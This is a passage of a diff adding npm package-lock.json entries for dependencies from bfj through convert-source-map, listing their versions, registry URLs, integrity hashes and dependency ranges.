+      "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw=="
+    },
+    "node_modules/bfj": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.0.2.tgz",
+      "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==",
+      "dependencies": {
+        "bluebird": "^3.5.5",
+        "check-types": "^11.1.1",
+        "hoopy": "^0.1.4",
+        "tryer": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      }
+    },
+    "node_modules/big.js": {
+      "version": "5.2.2",
+      "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+      "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/binary-extensions": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+      "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/bluebird": {
+      "version": "3.7.2",
+      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+    },
+    "node_modules/body-parser": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
+      "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
+      "dependencies": {
+        "bytes": "3.1.2",
+        "content-type": "~1.0.5",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "on-finished": "2.4.1",
+        "qs": "6.13.0",
+        "raw-body": "2.5.2",
+        "type-is": "~1.6.18",
+        "unpipe": "1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/body-parser/node_modules/bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/body-parser/node_modules/content-type": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+      "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/body-parser/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/body-parser/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/bonjour-service": {
+      "version": "1.0.14",
+      "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.0.14.tgz",
+      "integrity": "sha512-HIMbgLnk1Vqvs6B4Wq5ep7mxvj9sGz5d1JJyDNSGNIdA/w2MCz6GTjWTdjqOJV1bEPj+6IkxDvWNFKEBxNt4kQ==",
+      "dependencies": {
+        "array-flatten": "^2.1.2",
+        "dns-equal": "^1.0.0",
+        "fast-deep-equal": "^3.1.3",
+        "multicast-dns": "^7.2.5"
+      }
+    },
+    "node_modules/boolbase": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="
+    },
+    "node_modules/bootstrap": {
+      "version": "5.0.1",
+      "resolved": "https://registry.nlark.com/bootstrap/download/bootstrap-5.0.1.tgz?cache=0&sync_timestamp=1620923367085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbootstrap%2Fdownload%2Fbootstrap-5.0.1.tgz",
+      "integrity": "sha1-55OdWZEZ3IGKkEeKKimb2v8Dfgk=",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/bootstrap"
+      },
+      "peerDependencies": {
+        "@popperjs/core": "^2.9.2"
+      }
+    },
+    "node_modules/brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/braces": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "dependencies": {
+        "fill-range": "^7.1.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/braces/node_modules/fill-range": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "dependencies": {
+        "to-regex-range": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/browser-process-hrtime": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
+      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow=="
+    },
+    "node_modules/browserslist": {
+      "version": "4.21.4",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz",
+      "integrity": "sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        }
+      ],
+      "peer": true,
+      "dependencies": {
+        "caniuse-lite": "^1.0.30001400",
+        "electron-to-chromium": "^1.4.251",
+        "node-releases": "^2.0.6",
+        "update-browserslist-db": "^1.0.9"
+      },
+      "bin": {
+        "browserslist": "cli.js"
+      },
+      "engines": {
+        "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+      }
+    },
+    "node_modules/bser": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
+      "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
+      "dependencies": {
+        "node-int64": "^0.4.0"
+      }
+    },
+    "node_modules/buffer-from": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="
+    },
+    "node_modules/builtin-modules": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
+      "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/bytes": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+      "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/call-bind": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
+      "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+      "dependencies": {
+        "function-bind": "^1.1.1",
+        "get-intrinsic": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/callsites": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+      "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/camel-case": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
+      "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+      "dependencies": {
+        "pascal-case": "^3.1.2",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/camel-case/node_modules/tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "node_modules/camelcase": {
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+      "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/camelcase-css": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+      "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/caniuse-api": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
+      "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+      "dependencies": {
+        "browserslist": "^4.0.0",
+        "caniuse-lite": "^1.0.0",
+        "lodash.memoize": "^4.1.2",
+        "lodash.uniq": "^4.5.0"
+      }
+    },
+    "node_modules/caniuse-lite": {
+      "version": "1.0.30001414",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001414.tgz",
+      "integrity": "sha512-t55jfSaWjCdocnFdKQoO+d2ct9C59UZg4dY3OnUlSZ447r8pUtIKdp0hpAzrGFultmTC+Us+KpKi4GZl/LXlFg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+        }
+      ]
+    },
+    "node_modules/case-sensitive-paths-webpack-plugin": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz",
+      "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/chalk": {
+      "version": "4.1.1",
+      "resolved": "https://registry.nlark.com/chalk/download/chalk-4.1.1.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-4.1.1.tgz",
+      "integrity": "sha1-yAs/qyi/Y3HmhjMl7uZ+YYt35q0=",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/char-regex": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
+      "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/check-types": {
+      "version": "11.1.2",
+      "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz",
+      "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ=="
+    },
+    "node_modules/chokidar": {
+      "version": "3.5.3",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+      "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+      "funding": [
+        {
+          "type": "individual",
+          "url": "https://paulmillr.com/funding/"
+        }
+      ],
+      "dependencies": {
+        "anymatch": "~3.1.2",
+        "braces": "~3.0.2",
+        "glob-parent": "~5.1.2",
+        "is-binary-path": "~2.1.0",
+        "is-glob": "~4.0.1",
+        "normalize-path": "~3.0.0",
+        "readdirp": "~3.6.0"
+      },
+      "engines": {
+        "node": ">= 8.10.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/chokidar/node_modules/glob-parent": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+      "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "dependencies": {
+        "is-glob": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/chrome-trace-event": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+      "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+      "engines": {
+        "node": ">=6.0"
+      }
+    },
+    "node_modules/ci-info": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.4.0.tgz",
+      "integrity": "sha512-t5QdPT5jq3o262DOQ8zA6E1tlH2upmUc4Hlvrbx1pGYJuiiHl7O7rvVNI+l8HTVhd/q3Qc9vqimkNk5yiXsAug=="
+    },
+    "node_modules/cjs-module-lexer": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz",
+      "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA=="
+    },
+    "node_modules/classnames": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npm.taobao.org/classnames/download/classnames-2.3.1.tgz",
+      "integrity": "sha1-38+jiR4wbsHa0QXQ6I9EF7hTXo4="
+    },
+    "node_modules/clean-css": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.1.tgz",
+      "integrity": "sha512-lCr8OHhiWCTw4v8POJovCoh4T7I9U11yVsPjMWWnnMmp9ZowCxyad1Pathle/9HjaDp+fdQKjO9fQydE6RHTZg==",
+      "dependencies": {
+        "source-map": "~0.6.0"
+      },
+      "engines": {
+        "node": ">= 10.0"
+      }
+    },
+    "node_modules/cliui": {
+      "version": "7.0.4",
+      "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+      "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+      "dependencies": {
+        "string-width": "^4.2.0",
+        "strip-ansi": "^6.0.0",
+        "wrap-ansi": "^7.0.0"
+      }
+    },
+    "node_modules/co": {
+      "version": "4.6.0",
+      "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
+      "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
+      "engines": {
+        "iojs": ">= 1.0.0",
+        "node": ">= 0.12.0"
+      }
+    },
+    "node_modules/coa": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
+      "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
+      "dependencies": {
+        "@types/q": "^1.5.1",
+        "chalk": "^2.4.1",
+        "q": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 4.0"
+      }
+    },
+    "node_modules/coa/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/coa/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/coa/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/collect-v8-coverage": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz",
+      "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg=="
+    },
+    "node_modules/color-convert": {
+      "version": "1.9.3",
+      "resolved": "https://registry.npm.taobao.org/color-convert/download/color-convert-1.9.3.tgz",
+      "integrity": "sha1-u3GFBpDh8TZWfeYp0tVHHe2kweg=",
+      "dependencies": {
+        "color-name": "1.1.3"
+      }
+    },
+    "node_modules/color-convert/node_modules/color-name": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npm.taobao.org/color-name/download/color-name-1.1.3.tgz",
+      "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
+    },
+    "node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npm.taobao.org/color-name/download/color-name-1.1.4.tgz",
+      "integrity": "sha1-wqCah6y95pVD3m9j+jmVyCbFNqI="
+    },
+    "node_modules/colord": {
+      "version": "2.9.3",
+      "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
+      "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw=="
+    },
+    "node_modules/colorette": {
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz",
+      "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ=="
+    },
+    "node_modules/combined-stream": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "dependencies": {
+        "delayed-stream": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/commander": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
+      "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/common-path-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz",
+      "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w=="
+    },
+    "node_modules/common-tags": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
+      "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==",
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/commondir": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+      "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg=="
+    },
+    "node_modules/compressible": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
+      "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
+      "dependencies": {
+        "mime-db": ">= 1.43.0 < 2"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/compression": {
+      "version": "1.7.4",
+      "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
+      "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
+      "dependencies": {
+        "accepts": "~1.3.5",
+        "bytes": "3.0.0",
+        "compressible": "~2.0.16",
+        "debug": "2.6.9",
+        "on-headers": "~1.0.2",
+        "safe-buffer": "5.1.2",
+        "vary": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/compression/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/compression/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+    },
+    "node_modules/confusing-browser-globals": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
+      "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA=="
+    },
+    "node_modules/connect-history-api-fallback": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz",
+      "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==",
+      "engines": {
+        "node": ">=0.8"
+      }
+    },
+    "node_modules/content-disposition": {
+      "version": "0.5.4",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+      "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "dependencies": {
+        "safe-buffer": "5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/content-disposition/node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/content-type": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
+      "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/convert-source-map": {
+      "version": "1.8.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz",
